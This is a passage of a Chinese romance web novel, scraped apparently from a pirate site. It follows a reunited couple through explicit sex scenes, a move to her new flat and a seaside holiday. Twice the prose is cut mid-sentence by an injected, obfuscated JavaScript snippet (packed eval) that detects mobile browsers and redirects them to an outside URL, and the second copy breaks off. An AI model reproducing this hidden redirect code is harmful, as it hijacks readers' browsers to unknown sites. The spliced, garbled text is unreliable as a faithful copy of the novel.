“……正在被你劫色算吗?” 李既白哼笑,隔着薄薄的裙摆,呼吸缓缓烫过她腿侧的皮肤,“我可以停下。” 何筱舟受不住这酥痒的触感,像被架在火上烤,偏那火苗还没彻底燃起来,只将皮肤灼得焦渴。 她出言提醒,“……我记得,抽屉里还有。” 他走去床头,看见还未拆封的长条包装,眼神一黯。 回客厅的路上,李既白顺手熄灭了所有灯盏,将两侧窗口的遮帘都拉严,仔细杜绝任何暴露的可能。 正是因为他这一系列举动显露出来的谨慎,何筱舟以为他先前的凶狠都是虚张声势,可真正短兵相接的时候,她才意识到,他表现出来的,都是真的。 愤怒是真的,侵略感是真的,攻击性是真的,不让她躲避……也是真的。 她被扔进沙发里,屈蜷于座椅靠背和他之间。 没有任何循序渐进的流程,他做好准备,直入主题,她条件反射地咬唇适应时,衣物还堆积在膝弯。 何筱舟许久没有过,虽然已有心理准备,但接纳的过程艰涩的有些出乎意料。 她轻颤着,嘤咛了一声。 李既白稍顿,躬身掰过她的下巴,“新买的套?” 何筱舟双手被束缚,非常被动,于是偏了偏头,用力咬住他的手指。 听到李既白轻嘶一声,何筱舟舒心顺意了,故意呛他,“别人买的,合你尺码吗?” “刚刚好,改天替我谢谢他。” 他口气温和,动作却十分凶厉。 就像食肉动物回到熟悉的领地,一旦锚定猎物,冲刺、厮杀皆是存在于血液中的本能。 强劲的冲击感接续传递至每一根神经末梢,何筱舟被刺激得急急喘息。 但无从躲避,因为腰部正被他牢牢控在掌中。 无措间,只好再一次咬住他主动送上门的把柄。 他不由闷哼,“何筱舟,能不能只咬手?” 她双双绞紧,“那你先把我的手……唔……松开。” 李既白不理会,试着将手上的痛感转移,每一次都用足力道,全部没入才肯罢休。“喝酒了,是吗?” 他这样问了一句,似要亲自确认,手上用力,托抱起她坐进沙发里。 何筱舟仍旧被动,颠簸地起伏着。 她很有一种力不从心的无奈感,因为双手被固定着,只能无助地拢在他颈后。 她咬紧牙关,阻止呜咽从喉间溢出,“没醉。” 他厉声问:“那,你知道我是谁吗?” 何筱舟怔住。 这就是他担忧的,无时无刻不会消退的怀疑吗? 要时时确认,从她的反应,她的话语,甚至是每一次微不足道的眼神交汇里? 何筱舟心口一阵刺疼,态度软和下来。 她支起膝盖,贴近他,亲吻他。 借着自阳台渗漏进来的月光,用嘴唇细致地描摹他的眉梢眼角,重点关照鼻梁上端的驼峰。 最后,由下颚落到喉结,舌尖轻轻舔过。 与吻同步的,是她的声息。 每亲一下,就要叫一次他的名字。 李既白胸中恸然,心口凝结的戾气渐渐消散。 他放慢动作,边仰头亲她,边解开缠在她腕部的领带。 何筱舟双手解放,终于能毫无阻隔地拥抱他。 她搂紧他的肩背,感受着胸腔内充实的满足感,唇熨贴在他颈侧,“李既白……” “嗯?” 没有后话,好像只是随意叫一叫。 李既白清了清嗓子,低声应,“我在。” 何筱舟稍稍后撤,捧起他的手,指尖摩挲着咬过的位置,抵在唇边轻轻碰了碰。 “疼吗?”她轻声问。 她同样用足了力,能感到那里有很明显的齿印。 “不疼。” 男生停顿一刹,再填入的力度明显轻缓了很多。 但是,对何筱舟来说,和风细雨好像更难抵御。 融合之处腻湿极了,像打翻的含糖饮料,怎么也擦不干净,总有潮黏的痕迹残留。 她摇摇欲坠,声音也变得粘稠,“李既白,我快要……开灯,我想看着你。” 话音落地,密匝匝的水声一同止歇。 何筱舟意识到说错了话,险些咬到自己的舌头。 果然,男生迅速切换到最开始的状态,猛地挺动十数下,抱她站起身,揿开顶灯开关。 空间乍然变亮,何筱舟不甚适应地半眯起眼,再睁开,对上李既白沉晦的目光。 他的声音染上薄怒,“要看就看仔细。” “看仔细了,现在是谁在跟你做。” 他将她抛进沙发里,欺身压过来,手臂撑在她脸侧,似要践行这句话,目光紧锁着她,哪怕接吻时也不放过。 下一秒,何筱舟眼前忽然一黑。 她的眼睛被蒙起来,依然是那条领带。 “李既白!” 他不由分说地将她的双手举过头顶,单手固住,另只手则绕到她肩后,攀紧了,与她更密切地契合。 “我反悔了。” 他依然没办法与她长久对视,尤其这种情况下。 当她的眸底逐渐漫出水雾,看他的眼神不再清明时,所有触感都不知所踪,他只感到胸口闷窒,难以忍受。 何筱舟无所依凭,感官体验被无限放大。 神思迭荡间,她突地清醒,睁大了双眼。 尽管看不见,却能清晰地感觉到有温热的液体滴落到肩处,沿肌理纹路缓慢滑至颈后,留下蜿蜒湿凉的轨迹。 何筱舟不可置信地屏住呼吸。 许久,她试探着挣开他的禁锢。力道已然很松,她很轻易便解脱出来。 “李既白……” 她抱住他,手掌反复在他颈后摩挲,想要安抚他的情绪。 “我喜欢你。我以前的确把你当作……但你了解我的,我不会拿这个来骗你。” “我喜欢你。”她认真地重复。 李既白垂眼看她。她深深蹙着眉,嘴唇轻颤,即使没有眼神的加持,也能从她的神情和举动中读出怜惜。 他把脸偏向她肩头,刮去眼泪,随即,更加疯狂地吻住她。 无论起源是什么,此时她正与他相拥,对他说喜欢。至少她当下的表现,是为了他。 李既白觉得自己没救了。 他心里悸颤不已,某一刻觉得他们应当是生长在一起的,否则为什么他就像丢失了思考的能力,只剩下一个念头,想放肆地,深深地在她的身体里扎根。 吻来得比任何一次都强势,何筱舟应接不暇地回应着,双腿盘绕在他腰后。 她整个人如绕生在他身上的藤蔓。 与他心跳同频,共振跌宕,又一同歇落。 室内陷入长久的静默。 谁也没有动,他们保持着相叠的姿势,依偎在一起,仿佛就此陷入沉睡也没关系。 何筱舟喘匀了气,轻抚他鬓边汗湿的短发。 “可以解开了吗?” 李既白闷闷地嗯一声,理顺她颈间堆簇的发丝,又俯身亲了亲她的额头,方才扶稳,谨慎撤离。 沙发一阵涩响,何筱舟被捞坐起身,缚在眼前的桎梏解除,男生湿漉漉的脸旋即映入眼底。 濡湿的睫毛凝成簇状,将他本就清亮的眼睛衬得更加润泽,沾水的玻璃球般,剔透又清澈。 何筱舟看着,心脏软成一片。 可他似乎不想用这个状态面对她,面无表情地将她抱起来置于膝头,撇开脸,下巴搭在她肩后。 声音里带着不确定,“你现在应该是单身吧?” 何筱舟如被石化,“你是不是问的太晚了?” “我再看见你,什么都忘了,只想知道,你是不是也喜欢我,没有任何附加原因地喜欢我。” “之后……也顾不上问。” 何筱舟忍笑,绷起脸问:“这对你来说重要吗?刚才你不是都已经走了,为什么又回来?” 李既白从地上凌乱衣堆里找到手机,点开相册。 他深呼吸,直截了当地说:“因为它。” “我来津海之前,在码头附近路过一家店,看到了一张明信片。” 那上面写:希望李既白,忘记所有不愉快,重新开始新的生活。 “我想问你,为什么留言给我,你去过南岸?” “还有,我目前最大的不愉快,是被你当作某人的影子,你是希望我忘记这件事,还是,忘记你?” “你真的,希望我开始新生活吗?” 何筱舟没料到那张明信片会被他发现,懵怔着,习惯性嘴硬,“你就那么确信,是我写的?” “我认得你的字。” “落款的日期也是你的生日。我不认识除你之外这天生日的人,更不认识会这样许愿的人。” 何筱舟沉默下来。 许久,她迟疑地问:“那……你会忘记我吗?” 言语可以作假,但眼神不会。 她侧眸看他,和他的视线胶着在一起,试图从他的眼睛里找到答案。 李既白正视她,“我尝试过。” 痛楚累积到一定程度是会麻木的。 起初他试着用繁忙填满生活的每一寸缝隙,学语言、参加交流会、健身、短途游、徒步,累到沾床就睡,想起她的频率就越来越低。 可真正的思念来得悄无声息,发生在每一个偶然遇见与她有关事物的瞬间。 哪怕只是一杯酒,一枝花。 他眼中不断涌出痛苦的神色,“但是我做不到。” “如果可以,我今晚大概就不会出现在这里了。” 四目相对,有股无形的引力将两人拉近。 李既白抱紧她,脸埋进她颈窝,姿态无限眷恋。 “我撒谎了。” 他坦白,慌张到有点语无伦次。 “何筱舟,我很想你……我每一天都很想你。” “我今天在楼下等了你很久,我想见你,又不敢见你。我太矛盾了,不知道见了你该说些什么。” “我也很差劲……你之前说和好,明明是我拒绝的,可我一见到你就冷嘲热讽,还那样对你……” “对不起……你有哪里受伤吗?” 何筱舟哭笑不得,捏着他的耳朵使他稍抬起头。 本想说点回击的话,但看见他再度泛红的眼眶,什么都说不出来了。 “以前怎么没发现,你这么爱哭?” 何筱舟垂头亲吻他被眼泪浸润的薄薄眼皮。 坦诚心扉或许并没有想象中的那么难,她咬了咬唇,试着回应他小心翼翼的想念。 “我也想你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373405|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以我去了南岸。” “但还是没去成湄湾岛,我想,可能是因为,要到达真正的终点,就是要经历这么多波折?” “筱筱……” 男生的唇嗫嚅着,极度动容地合拢双臂,更用力地拥紧她,几要把她完完全全嵌进身体里。 “我爱你。” 这样衣冠不整地赤裎相对,将身心都剖白,很轻易便催发新一轮的汹涌情愫。 说不上是谁主动,他们自然而然地重新拥吻在一起,极尽温存地缠绕着彼此,双双倒进沙发。 期间跌落到地上,身位交换,何筱舟撑着李既白的肩膀趺坐而下,和他共赴又一次的交融与深陷。 在这间旧舍里,外物皆被抛远,空寂而寥阔,好像整个世界都只剩下他们。 摒弃一切杂念的两人,眼睛、身心,满满当当,只有彼此。 那把火终于完全燃了起来。 燎原一般,热忱、暴烈,由内至外,将她烧了个干干净净。 * 将就挤在沙发上睡一夜的结果就是,何筱舟醒来的时候,感觉像是又体验了一次大学时期体测,浑身上下都酸软无力。 即便李既白躺在外侧,把大半空间都留给了她。 她微微舒展四肢,男生便跟着一同醒来。 他收紧了搁在她颈下的手臂,脸凑近她颈间,深深嗅闻一下,“宝贝……早。” 他们分开的时间早已多过在一起的时间,可那段时间内的回忆,依然鲜活生动。 有好久没像现在这样,一睁眼即能看见对方。 何筱舟被他这亲昵的举动撩得心里发痒,吸了吸鼻子,窝在他怀里闭目好一会,才正式起“床”。 衣服昨晚洗过,夏夜里一晚上就干透了。 只不过李既白的衬衫变得皱巴巴。 好在他外形足够优越,穿起来不觉邋遢,反而有种凌乱无序的美感。 将屋子里里外外又打扫过一遍,房门钥匙交接给房东,何筱舟轻舒了口气,与新安社区正式告别。 “走吧,带你去我的新家。” 李既白牵起她的手,包进掌心,“新家?” “不然你以为屋子为什么那么空,真被打劫了?你脑洞很大!” 新房毗邻清澜河,小区叫静园,离何丽萍所住的明逸苑居车程二十多分钟,事实上,距市区哪里都不算远,因为交通很方便。 从新安社区过去,开车过桥,再行一段高架就到了,非高峰期只需半刻钟,根本不足以他们交换分开后各自的经历。 车停进地库的时候,李既白正在说他在南岸遇到杨新的事。 何筱舟惊讶,“这么巧吗?” 男生绕过车头,把她的包提在手里,另只手照样牵起她,微微用力,“我们更巧。” “如果我没有看到那张明信片,如果你昨天没去新安那边,我们可能还在对方的微信列表里躺尸。” “现在呢?” 他淡笑着点开绿图标,“已置顶。” 何筱舟按电梯,“其实,倒也不一定。” “什么?” “我怎么感觉,你就算没看到明信片,也会来找我呢?” 李既白撇脸不看她,低声嘟囔,“以前怎么没发现你这么自信。” 何筱舟扬扬眉,按下楼层键。 她买在十六楼,一层两户,对面那户是空的,公共区域很清净,没有任何杂物。 解锁前,何筱舟想了想,调出手机控制程序,将李既白的指纹录入了进去。 至于备注——她才不会像他那样肉麻,就保存了默认的“指纹密码2”。 “你猜一下,密码是什么?” 李既白心念一动,按下080408,门应声而开。 没有收到预想中的回应,他神情平淡,除了握着她的手紧了紧之外,没有任何异色。 是以,被李既白拉进室内,遽然按在门板上时,何筱舟的心跳都乱了一拍。 “不要老是突然……” 剩余的字被吞没,何筱舟在他密集的吻里艰难站稳,手指紧攥着他腰侧的衣料,却不由分心想,他的衬衫大概要变得更皱了。 分开时,她有些气短地剜他一眼,弯腰开鞋柜,给他拿了双拖鞋。 李既白随意一瞥,僵在原地。 不单是“失而复得”的拖鞋,还有他做的那只瓷盘,照旧被她搁置在玄关,摆在与天花板等高鞋柜的中空区域,用来放一些零碎的物件。 它与房子整体很不相配。 法式中古风格的装修,以柔和温厚的暗棕色调为主,可它的颜色饱和度较强,显得有些格格不入。 何筱舟换好鞋,推开李既白再次倾靠过来的肩膀,提前制止他又一次的深吻。 男生抿唇,不甚满意地跟她进去。 “很多家具是乔楠帮我选的,你觉得怎么样?” 李既白这才认真打量房屋整体布局。 客厅与餐厨相对,房间和卫生间分散聚拢,两间卧室,剩下的一间用作书房,分配均衡。 至于装饰,棕色皮质长沙发,深绿色单椅,灰黑色橱柜,配色与整体色调很搭,融合起来极有格调。 他丝毫不吝啬地夸赞,“你和楠姐眼光都很好,我觉得你可以考虑业余在某书做家装博主。” 何筱舟笑了下。 但不可忽视的是,空气中萦绕着一股很明显的装修残留气味,即使两侧窗户都大开着。 李既白颇有点担心地问:“是不是还没透彻底,你就这样搬进来了?” 何筱舟看着他,“因为我准备去找你。” “我刚才说不一定,不是因为我自信。” “不管你昨天有没有来,我们应该都会再见面,或早或晚。” “我给这套房子预留了足够多的时间,也给自己预留了时间。如果结果好,这期间我们可以一直待在一起。” 她顿了顿,笑道:“如果结果不好,我大概会独自去旅行。像我们刚认识那样,不设终点,没有目的,想到哪去哪。” “然后,有可能我会再遇到一段新的感情?” 她设想了很多种情况,甚至已经准备好了行李,箱子就搁在书房里。 没散干净的味道确实很刺鼻,熏得人眼睛发酸。 何筱舟走去书房,想尽快拿行李离开这里。 刚迈出两步,被李既白从身后拦腰抱住。 男生低垂下头,轻亲了下她的耳廓,“不可以。” 他将下巴搭在她肩头,嗓音像沾染了细雨般,潮湿而微哑,“只要我们再见面,我们之间,永远都不会有第二种结果。” “筱筱,不管发生什么,我都不会再放开你了。” 57. 真实 “其实,偶尔放开一下也没关系。” 去南岸的飞机上,何筱舟想抽回手反而被李既白握得更紧时,这样说了一句。 男生抿起嘴角,不是特别情愿地松开了她。 没过一会,又凑近,“我没带……” 何筱舟睨他一眼,预判了他的后续意图,取出一边耳机,直接塞进他右耳里。 李既白调整好角度,弯唇笑了笑。 依然是杂糅了各种曲风的歌单,播完《偿还》,尾奏结束,毫无预兆就转至《Believer》。 两相对比,伴奏的穿透感过于强烈,李既白偏眼看何筱舟,“你这样真的可以睡着吗?” 她闭着眼懒洋洋应:“你不说话就可以。” 李既白权衡后还是开口:“但我有话想问你。” “快问。” 他仔细观察着她的表情,“阿姨的病痊愈了吗?” 何筱舟的意志快被困倦侵蚀成漏筛,脱力般倒去他肩头,敷衍地嗯了一声。 “那我这样直接把你拐走不太好吧,应该先去拜访一下。” 何筱舟将眼皮撑开一隙,“你别告诉我,落地之后你安排了什么见家长的项目。” 李既白的神情忽然变得恍惚,迟疑几秒,“怎么这么说?” “否则为什么要用拜访这么……郑重的词?” 他眼里漾开放松的笑,“那,探望?” “过段时间吧,她趁暑假和刘老师一起去西南旅游了,说是要在那住上一阵子。” 李既白嗯了一声,启唇,似乎准备再说点什么。 何筱舟捂住他的嘴巴,小声,“你的精力用不完的吗?昨天就不让我睡觉,我很困的好吗……” 他的耳朵肉眼可见地迅速涨红,经日光一照,几乎呈透明状。 她忍不住抬手触碰,调侃:“你有双重人格吗?” 他没懂,“嗯?我精神状态应该挺稳定的。” 何筱舟勾勾手指,他立即低头,将通红的耳朵移到她嘴边,方便她用只有他们可以听到的声音讲话。 “你……放狠话的时候,怎么不脸红?” 不行。 话已经到嘴边,但她自己都感到羞耻度爆表,只能临时换成不那么露骨的词汇。 她指的是昨晚。 怎么有人可以在“禽兽”和纯情两种状态里切换自如?却一点也不违和。 他明白了她的意有所指,同样小声问道:“那你比较喜欢我哪种人格?” 何筱舟凝眉思索,“视情况而定。” 他紧追不舍,“昨天那种情况呢?” 何筱舟感觉给自己挖了个坑。 到现在,她再回想起他昨天的失控,仍有种心脏被精准狙击的电麻感。 他的占有欲和想念那样昭彰,不需要任何语言赘述,直观到无处遁形,让她无比真切地感知到,她正在被他汹涌而深刻地眷爱着。 她不想坦然承认她很喜欢。 于是她模棱两可地回:“你是在国外进修了什么捆绑play吗?” 男生敛笑,严肃回,“没有。” 见她没什么反应,认真道:“我知道这种事很难用实据证明,但我可以向你保证,不管是在德国,还是回国之后,我跟所有异性的来往都保持在正常的社交距离内。” 何筱舟只是随口一提,没料到他这么郑重,怔了怔,坐直身体,“我不是这个意思。” 她强调,“我不是要过问你的感情经历。” 李既白摘下耳机,不解道:“为什么不问?” “因为那时候我们是分手状态,你可以跟任何人交往。” “你是这么想的?” 何筱舟看着他,不置可否。 李既白眉头一皱,欲言又止。 你一点都不在乎的吗? 可是我想你在乎,而且,我也有事想问你。 想问麦克为什么会送你回家,想问那盒新的避孕套真的是“别人”买的吗,想问这个“别人”是你为了搪塞我随便说的,还是真的存在过。 他是你找到的又一个影子吗? 李既白观察着她平淡的神情,沉了口气,终究什么都没说,只略微强硬地把她的脑袋按来肩头。 “你还是睡觉吧。” * 时值七月,铺天盖地的热气将南岸笼罩,像张巨大的保鲜膜,将空气凝成水珠,湿哒哒地沾在体表。 风里好像都带着潮气,黏黏糊糊的很令人不适。 何筱舟没睡够,整个人恹恹的。之后的取票、安检、穿救生衣乘船,她全程不带脑子,被李既白牵导着,只剩下行走的能力。 直到迈进这座名为观潮的小院,何筱舟才感觉恢复了点精神。 她想起李既白曾在电话里向她概述过大致布局,如今一一实地对上号,竟莫名有种熟稔的亲切感。 三层红砖洋楼,整体建筑风格与岛上的南洋风情融为一体,尽管别出心裁地用花架做吸睛的围墙,也没有半点违和感。 内里是复古的南洋情调装修,饰物的颜色华丽又大胆,看起来有种上了年头的陈旧感,却并不过时。 反而让人联想到电影里旧世纪富贵人家的私宅。 李既白在前引路,好奇她对这里的初印象,“怎么样?” “感觉我穿越了。” 他很配合她的妙思,“穿成什么身份了?” 何筱舟略沉吟,“出国留洋好几年,刚回到家的大小姐。” “那我呢?”他这样问,又自行代入,“应该是,给大小姐提行李的家丁?” “你的姿色做家丁有点可惜。” 何筱舟瞟一眼他被衬衫包裹的劲窄但实际很有力量的腰腹,“世家公子,跟大小姐有婚约的竹马。” 本是玩笑,李既白却敛目陷入沉思,“按普遍的剧情,接下来,大小姐会结识一位进步青年,反叛旧礼教的第一步,就是跟竹马解除婚约。” “在以我为主的剧本里,竹马会一起进步。” 李既白欣然展笑,“那我喜欢这个剧本。” 插科打诨的对话终止于他们来到前台,李既白屈指敲了敲桌面,唤醒瘫睡在靠椅里的年轻男生。 男生看起来与他年纪相仿,两人应当很熟络,因为他看清李既白的瞬间又倒回去,闭眼说:“不认识路吗?” 但没等李既白出声,他又弹起身,愕然看向何筱舟,又看向李既白,最后,视线落去他们交握的手。 “这位是?” 何筱舟微笑,朝男生伸出手,“你好,我是何筱舟,李既白的女朋友。” 话落,两人双双睇过来,惊诧的神色如出一辙。 何筱舟的手不动声色绕到李既白背后,轻轻掐他的侧腰,同时给他递去疑惑的眼神:不是吗? 李既白抬手抵在唇边,窃窃扬了下唇角。 随后,他对男生说:“对,筱是竹字头的筱,舟是小船那个舟,我女朋友。” 男生终于回神,轻握住何筱舟的手。 “你好你好,我是吴宪文,李既白的朋友,也是他的初高中同学。” 吴宪文显然对她很好奇,数度打量她,目光却是充满善意的,因为他脸上始终挂着友好的笑。 何筱舟主动开口:“是有什么想问我的吗?” “哦,没有没有,只不过……” 吴宪文犹豫了下,还是决定出卖好友,“他寡了这么多年,我以为他会一直单身呢。” 何筱舟手肘撑着桌面,饶有兴致地问:“他以前没有早恋过吗?” “那肯定没有。” 吴宪文打开话匣子,“我们刚认识的时候,他很蔫,又很瘦,还有点黑,没什么女生喜欢他,后来升上高中,人是帅了不止一个度,但太冷漠,又嘴毒,更不招人喜欢了。” 何筱舟朝李既白意味深长地笑,意思是他还有这样的一面。 处于讨论中心的男生面色有些不自然,手动中止了跟吴宪文的闲扯,拉起她的手腕往楼梯口走。 李既白的房间在三楼,单独一个套间,位置在最角落,以一扇屏风和其他客房隔开。 面积不算大,客厅与露台相连,相对较小的房间被用作书房,卧室则拥有最优越的视角,落地窗外,即是粼粼海岸。 下午正热的光景,室内几乎被阳光铺满,闷炉一样,空气里的热息直往皮肤上烘。 “要先睡一会吗?”李既白关上遮光窗帘,将冷气开到最大风力。 “嗯,我冲个澡,一会再收拾行李。” 何筱舟朝他眨眨眼,“不过,我没带睡衣。” 李既白习以为常地打开衣柜,“看看穿哪件。” 何筱舟从叠摞起来的T恤中挑了件清爽的无袖背心,随后抬手,指尖点触他胸口处,以眼神做邀请。 李既白似笑非笑,“何筱舟,我这里可没有套。” 他指了个方向,“浴室在那边。” 何筱舟踮脚亲他的唇角,玩笑道:“贵店设施好像不太齐全呢。” 她没有勉强,拿着衣服拐出卧室。 温水将周身黏腻感褪尽,疲惫便直往骨缝里钻。 她撑着精神将头发擦至不再滴水,出来时,李既白正帮她整理行李箱。 角落搁着一只布包,他并没细看,提起抽绳直接搁进衣柜抽屉。 何筱舟张了张口,没说什么,坐去床边。 李既白收拣完她的衣物,洗了手,拿来吹风机。 何筱舟躺好,脑袋耷于床沿,头发垂下去。 她在热风里闭上眼,惬意地点评:“设施不齐全,但服务倒是很周到,要加钱吗?” 男生低笑,平声说了句什么。 何筱舟没听清,眼皮越来越沉。 迷蒙间,她感到风声停了,有柔而轻浅的触感抵上额间。 之后她被托抱起来,陷进床褥,渐渐失去意识。 * 再醒来,室内有种不辨晨昏的朦胧感。 遮光窗帘阻隔了所有光线,唯一的亮色应该来源于壁灯,被调到了最低档,光圈如涟漪一般漾开,映上天花板,好似置身海底。 何筱舟愣神片刻,才记起自己在哪。 她恍然翻身,正对上李既白的眼睛。 他反枕着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她专心□□着,思索片刻,如实说道:“刚才没有梦见你。” 李既白不知道该把注意力往哪放,深呼吸,瓮瓮地哦了一声。 他感觉自己被她扼住了呼吸与命脉,每一秒都是折磨,因为她接下来絮絮又绵软的坦言—— “我只梦见过你一次,在去年津海下雪的时候。” “梦里是前年冬天,你向我表白,我没有拒绝。” “可能是潜意识在告诉我,当初我因为担心你知道真相干脆选择不开始的决定是错误的。” “所以,我现在想和你好好在一起,把错过的时间都补回来。” 李既白的神思在打架,争论辩题是该推开还是拥紧她。她正在跟他诉说她对他们感情的期许,而他满脑子都是秽亵的欲望。 何筱舟仰头找他的唇,若有似无轻吮着,含糊不清地叫他的名字,一声接一声。 李既白脑中轰然,俯身亲吻她,吞掉她的碎音,身体力行地将这些称呼与真切的他融为一体。 他没有坚持太久,不多时,便纾放于她的指间。 洗手时,女人自镜中飘来的眼神明显带着调侃,可她蹙着眉,一点不掩饰求知欲,“不对劲,怎么回事啊李既白?” 他下颚绷紧,仔细将她指缝中的污浊清洗干净,直言:“可能因为我快到25了。” 何筱舟抿笑,“不是吧,昨天晚上不是很久吗?” “……” 李既白横迈一步,把她困在他的身体与洗手台之间,捞起她还附有潮气的手,一下一下啄她的指尖。 “筱筱,以后要说这些可以换个场合吗?我不想草率地回应你,应该郑重一点。” “怎么才算郑重?” 李既白下巴搭去她肩头,“比如我更想告诉你,不需要遗憾,不需要用现在去弥补错过的时间,我们的以后会是统计图里持续上升的折线,每一天都更好。” 尽管他的过去是片荒原,但是他已经开始种花栽树,以充沛的生机与绿意迎接她。 何筱舟手掌贴上他的脸颊,“那你怎么不说?” 男生轻轻蹭她的掌心,郁闷地吐了口气,耳根涨红,“被下半身支配了。” 何筱舟忍笑调戏,“可是我觉得这样好像也挺郑重的诶,你都变快……” 李既白自知在这方面说不过她,放弃了有关郑重的辩论,“我们去吃饭吧,你不饿吗?” “饿,但先等等。” 她回过身,双手合拢挂在他颈后,“想郑重地问一下,李既白,做我男朋友好吗?” 她当然注意到了,他在听到她向吴宪文介绍身份时刹那间的怔忪。 李既白神情微滞,手掌扣牢她后背,将她揉进怀里,沉沉应声:“好。” “现在呢?真实了吗?” 李既白抱紧她,呼吸间都是她的味道。 当然真实。当然。 58. 深陷 之后一连几日,他们都待在湄湾岛。 每天迎着晨光到海边散步,下午待在后院凉棚里喝冰镇的花茶,跟住客玩桌游。有时乱入沙滩排球,有时逛累了随机走进一家店,点杯饮料或低度数鸡尾酒,听着慵懒的英文歌坐到傍晚。 何筱舟人生中第一次经历这样纯粹的停摆。 没有目标,没有规划,耳边不再充斥着“需求分析”、“对齐”、“迭代”、“落地”之类的词汇,只剩下放空和玩乐。 松弛到让她有种泡进温水一般的倦怠感,但偶尔一晃神,心头就冒出莫可名状的焦虑。 她弄不清来由,但很清楚与物质无关,因为买房之后,她的存款仍能支撑她在没有进项的情况下生活很长一段时间。 何筱舟想,可能是肌肉记忆。 比起赋闲,她更习惯冲刺和奔跑,让自己始终保持前进,不停歇地去奔赴她给自己预设的终点。 不过这种焦虑并不强烈,因为她很喜欢这里。 错落街巷里藏着各种特色鲜明的店铺,店主大都是自小生长在这里的年轻人,去大城市闯荡一圈,最后还是选择回来,趁着岛上旅游业发展起来的东风,打造自己理想中的小世界。 整体氛围并不功利,节奏疏慢,很适合度假。 李既白却总担心她会无聊。 傍晚在海边散步的时候,他跟她提议,“想去珠港玩吗?” “不太远,从南岸坐高铁就可以到,很方便。” 何筱舟眯眼感受着海风,懒懒的,“不了,岛上就很好。” 是真的很好。 比如此时,日暮西沉,正是湄湾岛一天中最美的时刻,天空被余晖晕染成粉紫色调的动态油画,又倒映在海面,处于其间,就像浸泡在酸甜味道的利口酒里,晕乎乎,轻飘飘,极其惬意,如同微醺。 “可是岛上地方太小了,好玩的都带你去过了,怕你待久了会觉得无趣。” “怎么会?” 何筱舟把目光移向他。 下午游泳,开摩托艇,这会刚从水里出来,李既白身上的水珠还未干透,随便套上的T恤被浸湿,若有若无地贴着皮肤,勾勒出好看的肌理轮廓。 “最有趣的在眼前呢。” 李既白已经免疫她层出不穷的“流氓”式调侃,偏眼瞧她,“那今天晚上多玩一会?” 何筱舟没料到他会接招,一时语塞。 李既白鲜少见她吃瘪,展眉笑开,“怎么回事啊姐姐?原来你也会词穷啊。” 明明在讨论一些不那么伟光正的事,可他的笑容里带着大男生特有的净澈感,晃眼极了,惹得她无端端想喝一杯加冰的柠檬气泡水。 “走,给你加双份糖,而且今天刚好有音乐会。” 何筱舟的手被他扣进掌心,不得不跟从他一起沿海线奔跑起来。 日头已经彻底没入海面,蓝调时刻的暮色里,海风醺然,掠过他们紧紧交握的手,一点点灌满胸腔。 何筱舟心里忽然变得开阔。 跑不一定是为了向前,也可以单纯只感受风。 * 回观潮冲过澡,各自换套衣服,李既白带路,引何筱舟去了位于妙琴湾沙滩的CornerCup. 到时店主正在张罗着布置场地。 几位各执乐器的年轻人牵来电线连设备,聚立在店门口单独辟出来的一小块空地,闲聊着调麦架、试音。 一开始只是普遍的“123123”,几次之后,很突兀地转成一声笑。 抱吉他的男生扶着麦克风,也不顾其他四散坐在沙滩上的观众,直问:“白,今天来一首吗?” 何筱舟直觉男生是在和李既白说话。 果然,她看到李既白步子停了一下,笑着朝他们摆摆手。口型大概是:不了。 他提着打包的饮品绕过人群,坐到她身边。 柠檬气泡水是他借Corner的设备调的,不是特别甜,应该没有加双份糖,但气体很足,内杯壁贴满小水泡,让何筱舟又想到他的笑。 她心念一动,屈指挑他下巴,真跟流氓似的调戏他,“白,笑一个。” 李既白霍然转头,被她亲昵的称呼和动作燎得红了脸。他不太自然地勉强朝她勾了勾嘴角,握住她的手防止她再作乱。 可下一秒,她探身过来,朝他眨眨眼,脸一偏,挨上他的嘴角。 她目光里含着笑,还要向他解释动机,满脸无辜地摇晃手中的饮品杯,“现在够甜了。” 冰块互相碰撞,脆生生地响。 李既白屏息,开始后悔来这什么音乐会了。 他当即拉她的手腕作势起身,却又被她拽回去。她上半身歪靠在他肩上,双眼亮盈盈看着他,“我还想再听一会。” 今天是流行专场,周杰伦、林俊杰、五月天轮流登场,全都是耳熟能详的曲目,围坐于演出现场的人们默契地随音乐跟唱,不时有人自告奋勇上前,气氛像校园操场。 环境也刚刚好,夜里温度稍降,海风柔和,一切都安闲又舒适。 然而李既白却没有心思再关心音乐。 他心里认输。在她这里,他永远不可能占上风。 但仅仅只是这样的亲吻怎么够,他要让她瘫软在他怀里,看她眼睛里逐渐溢满水雾,再听她用破碎的声音叫他的名字。 于是捏捏她的手指,“都是一些比较怀旧的歌,没什么新鲜的,回家吧。” 亲她的耳廓,“嗯?” 何筱舟咬着吸管眨眼装不懂,“不行,我现在坐在这,有一种读书时期谈恋爱的感觉。我们都没有正儿八经约会过呢。” 读书时期的恋爱跟他们现在有什么不同吗。 李既白不知道,又或许答案就在他内心深处,他不敢确定而已。 耳边响起铮鸣,嗡一声,闷沉沉的,好似提醒。 是有人点歌,《金风玉露》,伴奏由贝斯引入。 事实上,整首伴奏里都更突出贝斯,低沉调,听起来慵懒又浪漫。 很适合当下氛围的一首歌,李既白却无端想起,不久前,几乎同样的画面里,杨新给他看过的视频。 他心里酥麻的痒意慢慢被海边的风吹散了。 这场非正式音乐会持续到十点钟。 李既白和几位演出人员认识,等人群渐散,何筱舟同他一起上前,和他们寒暄作别。而后,两人循旧路从妙琴湾返回观潮小院。 